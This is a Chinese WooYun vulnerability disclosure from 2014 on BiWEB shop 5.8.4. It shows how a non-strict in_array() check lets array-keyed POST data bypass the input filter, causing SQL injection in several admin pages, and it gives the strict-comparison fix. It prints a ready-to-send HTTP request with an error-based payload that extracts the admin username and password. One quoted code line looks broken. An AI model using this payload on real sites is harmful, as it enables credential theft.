当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-085026

漏洞标题:BiWEB最新商城版注入漏洞打包(in_array使用不当造成注入)

相关厂商:BiWEB

漏洞作者: 路人甲

提交时间:2014-11-28 10:57

修复时间:2015-02-26 10:58

公开时间:2015-02-26 10:58

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-28: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-26: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

BiWEB最新商城版注入漏洞打包(in_array使用不当造成注入)

详细说明:

在wooyun上看到了有人提了BiWEB商城版的一个XSS漏洞: WooYun: BIWEB商城版XSS盲打cookie ,也有人提了SQL注入,我来找找其他的漏洞吧。去官网下BiWEB商城版最新的5.8.4来看看。
BiWEB在全局过滤时使用了in_array(),使用不当,造成全局过滤可以绕过。
先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤,过滤的方法在/config/filtrate.inc.php中

<?php
//过滤GET或POST的值,去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>


然后我们去看看filtrateData(),在/web_common5.8/check.class.php中

/**
* filtrateData($ParamValue)
* 作 用:递归去除所有值两边的空白
* @author Arthur <[email protected]>
* @param $ParamValue (需要过滤空白的数据)
* @param array $arrHtml (不需要过滤的数据key组成的数组)
* @return 去除空白之后的数据
* 备 注:无
*/
static function filtrateData(&$ParamValue,$arrHtml){
if (is_array($ParamValue)){
foreach ($ParamValue as $key=>$value){
if(is_array($value)){
check::filtrateData($value,$arrHtml);
}else{
if(v === 'v' || v === '' || strpos(p,v)) exit;
if($key === 'v') {
echo v;exit;
}
if(count($arrHtml)){
if(in_array($key,$arrHtml)) $ParamValue[$key] = trim($value);
else $ParamValue[$key] = htmlspecialchars(trim($value), ENT_QUOTES);
}else $ParamValue[$key] = htmlspecialchars(trim($value), ENT_QUOTES);
}
}
}else{
$ParamValue = trim($ParamValue);
}
}


可以看到,filtrateData()中有这么一句:if(in_array($key,$arrHtml)) $ParamValue[$key] = trim($value),其中$arrHtml即为$arrGPdoDB['htmlspecialchars'] = array('intro','summary','tag'),也就是说当$key是'intro','summary','tag'中的之一时,就不进行htmlspecialchars编码,也就可以绕过全局过滤了。问题在这里,如果$key等于0时,in_array($key,$arrHtml)将返回ture,也就不进行编码!
通过POST提交一个数组,而数组的key是0,1,2...,如通过POST提交一个名为test的数组,test[]=injection_code&test[]=2,这样就可以利用上面代码中in_array()使用不当造成的注入了。
BiWEB这种漏洞有不少,这里一起打包提交吧

/ads/adminu/index.php
/brand/adminu/index.php
/client/adminu/index.php
/deal/adminu/index.php
/download/adminu/index.php
/grace/adminu/index.php
/largess/adminu/index.php
/news/adminu/index.php
/product/adminu/index.php


这里以/news/adminu/index.php为例进行证明

无关代码
if(isset($_GET['action'])){
if($_GET['action']=='search') {
// 构造搜索条件和翻页参数
$arrLink[] = 'action=search';
if (!empty($_GET['title'])) {
$strKeywords = strval(urldecode($_GET['title']));
if($strKeywords[0] == '/'){
//精确查询ID
$strKeywords = substr($strKeywords,1);
if(is_numeric($strKeywords)) $arrWhere[] = "id = '" . $strKeywords . "'";
}else{
$arrWhere[] = "tag LIKE '%" . $_GET['title'] . "%'";
}
$arrLink[] = 'title=' . $_GET['title'];
}
if ($_GET['pass'] == '1' || $_GET['pass'] == '0') {
$arrWhere[] = "pass='".$_GET['pass']."'";
$arrLink[] = 'pass=' . $_GET['pass'];
}
if (!empty($_GET['type_id'])) {
$intTypeID = intval($_GET['type_id']);
$arrWhere[] = "type_id='".$intTypeID."' or type_roue_id like '%:$intTypeID:%'";
$arrLink[] = 'type_id='.$intTypeID;
}
} else {
$objWebInit->doInfoAction($_GET['action'],$_POST['select']);
}
}
无关代码


当$_GET['action']为'moveup'时,则执行这条语句$objWebInit->doInfoAction($_GET['action'],$_POST['select']),我们再去看看doInfoAction(), 在/web_common5.8/php_common.php中

/**
* 执行信息操作
* @author 肖飞
* @param string $strAction 执行命令
* @param array $arrData 选中的操作数据id数组
* @param array $arrFile 需要删除的文件
* @return void
*/
function doInfoAction($strAction=null,$arrData=null,$arrFile=array('photo')){
switch ($strAction){
case 'del':
foreach ($arrData as $key=>$val){
$this->deleteInfo($val,$arrFile);
}
break;
case 'delpic':
foreach ($arrData as $key=>$val){
$this->deleteInfoPic($val,$arrFile);
}
break;
case 'moveup':
foreach ($arrData as $key=>$val){
$this->moveupInfo($val);
}
break;
case 'check':
foreach ($arrData as $key=>$val){
$this->passInfo($val,1);
}
break;
case 'uncheck':
foreach ($arrData as $key=>$val){
$this->passInfo($val,0);
}
break;
case 'settop':
foreach ($arrData as $key=>$val){
$this->topInfo($val,1);
}
break;
case 'unsettop':
foreach ($arrData as $key=>$val){
$this->topInfo($val,0);
}
break;
case 'setrecommend':
foreach ($arrData as $key=>$val){
$this->recommendInfo($val,1);
}
break;
case 'unsetrecommend':
foreach ($arrData as $key=>$val){
$this->recommendInfo($val,0);
}
break;
}
return true;
}


再去看看相同文件中的topInfo

/**
* 固顶/解固信息
* @author 肖飞
* @param int $intInfoID 信息id
* @return void
*/
function topInfo($intInfoID,$topflag){
$arrData['topflag'] = $topflag;
$strWhere = " WHERE `id` = $intInfoID";
return $this->updateDataG($this->tablename2,$arrData,$strWhere);
}


可以看到传入的值直接作为id带入了SQL语句,造成了注入。(这里只是拿这个例子来说明in_array()使用不当可以引入单引号,当然这个注入点可以直接用数字型的注入方法注入,可不使用单引号)
单引号这样引入

单引号引入副本.jpg


成功注入,Payload如下

POST /news/adminu/index.php?action=settop HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)
Accept-Encoding: gzip, deflate
If-Modified-Since: Thu, 27 Nov 2014 15:24:12 GMT
Host: 192.168.0.107
Proxy-Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 212
Cookie: AJSTAT_ok_times=1; PHPSESSID=af8v3b4bc156qj3v42f9fvs943
select%5B%5D=1 or (select 1 from (select count(*),concat(0x23,(select concat(user_name,0x23,password,0x23)from biweb_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&select%5B%5D=


注入成功,管理员的用户名和密码

注入成功副本.jpg

漏洞证明:

见 详细说明

修复方案:

in_array($key,$array,true)

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝